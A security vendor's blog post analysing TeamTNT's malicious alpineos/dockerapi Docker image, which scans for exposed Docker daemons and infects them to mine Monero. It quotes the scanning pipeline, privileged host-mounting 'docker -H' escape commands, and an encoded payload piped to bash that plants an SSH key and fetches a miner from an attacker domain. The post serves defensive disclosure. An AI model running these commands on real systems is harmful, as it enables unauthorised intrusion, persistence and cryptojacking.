You may have seen our recent posts about how TeamTNT is abusing Docker daemons for mining Monero. In this blog post, we will describe another method we have observed that includes the use of malicious Docker images available at Docker Hub. This Docker image is the one responsible for the scanning and infection that we described in our last blog post.

The alpineos/dockerapi image

The alpineos/dockerimage is a public Docker image available at Docker Hub. At the moment this post was published, it had almost 4,000 downloads, and you can see that the user has other docker images (all of them related to either mass scanning or mining using XMRig).

Image details in Docker Hub

If we have a closer look at the image using the tool ‘dive’, you can see that the image was created with the following Dockerfile:

Image details

FROM alpine
RUN apk add --no-cache bash
COPY pause /pause
RUN chmod +x /pause

It is a simple alpine image with only two modifications: the installation of bash and the copy of the pause bash script that will handle all the operations.

Once the container is created, the pause script is executed.

Script execution

The pause bash script

The pause bash script is a simple script, but it works really well. There are three different functions that perfectly explain what it is trying to do:

  1. Prepare the container. It installs the curl, wget, jq, masscan, libpcap-dev, go, git, gcc, make and docker packages that it will need for the next steps.
  2. Download zgrab (a banner grabber written in Go) from https://github.com/zmap/zgrab and compile it.
  3. Start masscan in a random public subnet looking for open Docker daemon ports
  4. rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '') eval "$rndstr"="'$(masscan $1.0.0.0/8 -p$prt --rate=$3 | awk '{print $6}'| zgrab --senders 200 --port $prt --http='/v1.16/version' --output-file=-2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";
  5. For each open Docker daemon, it tries to create the container that we described in our last blog post (the one that escapes from Docker). It sends the following requests in order to check that everything went fine (D_TARGET is the remote docker daemon IP address):
    • a. Get OS:
    • ‘docker -H $D_TARGET info’
    • b. Get images:
    • ‘docker -H $D_TARGET image ls’
    • c. Get architecture:‘docker -H $D_TARGET info’
    • d. Get uptime:‘docker -H $D_TARGET run --rm -it --privileged --net host -v /:/host busybox chroot /host sh -c 'uptime-p’
    • e. Get available memory:‘docker -H $D_TARGET run --rm -it --privileged --net host -v /:/host busybox chroot /host sh -c "free-gh | head -n 2 | tail -n 1 | awk '{print "Total:"$2,"Free:"$4}'"’
    • f. Get CPUs:‘docker -H $D_TARGET info 2>/dev/null | grep 'CPUs: ' | rev | awk '{print $1}' | rev’
    • g. Create a container with this same image (alpineos/dockerapi):‘docker -H $D_TARGET run --rm -d --privileged --net host -v /:/host alpineos/dockerapi’
    • h. Create another container that we described in our last blog post:‘docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'’

Example script instruction

Since the script is aggressively scanning the Internet, it is normal to re-infect already infected systems, as there’s no check to see if they are already running. This is strange behavior because the same group did check if the host was already infected on another occasion.

Running containers

Summary

In this series of posts, we have explored how the TeamTNT group is able to massively scan and compromise open Docker daemons. They always have the same goal, mining Monero, but they use different methods to try to maximize their mining.

It’s very likely that we will see new evolutions of their scripts and tools, as they seem to actively update them.

IOCs

IOCHash
pause497c5535cdc283079363b43b4a380aefea9deb1d0b372472499fcdcc58c53fef

If you have read the whole series, you will have noticed that there are lots of interesting details:

  • massive scans
  • Docker escapes
  • Linux rootkits
  • systemd services
  • old-school Internet worms and more

They seem to have a preference for Linux systems (because they know how to quickly create scripts and use open source tools), but we will start analyzing their activity in Windows.

Read more here:

Post #1 : Docker Daemon Worms Are Still Kicking Around

Post #2 : Escaping Docker Privileged Containers for Mining Crypto Currencies


David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.